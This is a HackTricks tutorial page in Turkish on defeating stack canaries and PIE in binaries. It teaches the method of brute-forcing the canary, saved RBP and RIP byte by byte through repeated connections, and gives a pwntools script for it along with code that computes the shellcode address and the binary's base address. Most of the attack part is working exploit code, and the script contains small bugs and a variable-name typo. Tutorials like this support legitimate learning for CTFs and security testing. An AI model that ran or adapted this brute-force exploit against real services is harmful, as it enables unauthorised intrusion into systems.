BF Stack'teki Adresler

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Eğer bir canary ve PIE (Pozisyona Bağımsız İkili) ile korunan bir ikili ile karşılaşıyorsanız, muhtemelen bunları aşmanın bir yolunu bulmanız gerekiyor.

note

checksec'in bir ikilinin canary ile korunduğunu bulamayabileceğini unutmayın, eğer bu statik olarak derlenmişse ve fonksiyonu tanımlama yeteneğine sahip değilse.
Ancak, bir fonksiyon çağrısının başında bir değerin yığında saklandığını ve bu değerin çıkmadan önce kontrol edildiğini bulursanız bunu manuel olarak fark edebilirsiniz.

Brute-Force Adresleri

PIE'yi aşmak için bazı adresleri sızdırmanız gerekiyor. Ve eğer ikili herhangi bir adres sızdırmıyorsa, en iyi yol, savunmasız fonksiyondaki yığında saklanan RBP ve RIP'yi brute-force yapmak olacaktır.
Örneğin, eğer bir ikili hem canary hem de PIE kullanarak korunuyorsa, canary'yi brute-force yapmaya başlayabilir, ardından sonraki 8 Bayt (x64) saklanan RBP ve sonraki 8 Bayt saklanan RIP olacaktır.

tip

Yığında bulunan dönüş adresinin ana ikili koda ait olduğu varsayılmaktadır; bu, eğer zafiyet ikili kodda yer alıyorsa genellikle böyle olacaktır.

İkili dosyadan RBP ve RIP'yi brute-force yapmak için, program bir şey çıktığında veya sadece çökmediğinde geçerli tahmin edilen bir baytın doğru olduğunu anlayabilirsiniz. Canary'yi brute-force yapmak için sağlanan aynı fonksiyonu RBP ve RIP'yi brute-force yapmak için kullanabilirsiniz:

python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

PIE'yi yenmek için son şey, sızdırılan adreslerden yararlı adresleri hesaplamak: RBP ve RIP'dir.

RBP'den, yığın içinde shell'inizi nereye yazdığınızı hesaplayabilirsiniz. Bu, yığın içinde "/bin/sh\x00" dizesini nereye yazacağınızı bilmek için çok yararlı olabilir. Sızdırılan RBP ile shellcode'unuz arasındaki mesafeyi hesaplamak için, RBP'yi sızdırdıktan sonra bir kesme noktası koyabilir ve shellcode'unuzun nerede bulunduğunu kontrol edebilirsiniz, ardından shellcode ile RBP arasındaki mesafeyi hesaplayabilirsiniz:

python
INI_SHELLCODE = RBP - 1152

RIP'ten PIE ikili dosyasının temel adresini hesaplayabilirsiniz, bu da geçerli bir ROP zinciri oluşturmak için gereklidir.
Temel adresi hesaplamak için sadece objdump -d vunbinary komutunu çalıştırın ve en son adresleri kontrol edin:

Bu örnekte, tüm kodu bulmak için yalnızca 1.5 Bayt gereklidir, bu durumda temel adres sızdırılan RIP ama "000" ile biten olacaktır. Örneğin, 0x562002970ecf sızdırdıysanız, temel adres 0x562002970000'dır.

python
elf.address = RIP - (RIP & 0xfff)

İyileştirmeler

bu gönderiden bazı gözlemlere göre, RBP ve RIP değerleri sızdırılırken, sunucunun bazı doğru olmayan değerlerle çökmesi mümkün olmayabilir ve BF scripti doğru olanları aldığını düşünebilir. Bunun nedeni, bazı adreslerin tam olarak doğru olmasalar bile bunu kırmamasıdır.

O blog gönderisine göre, sunucuya yapılan istekler arasında kısa bir gecikme eklenmesi önerilmektedir.

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin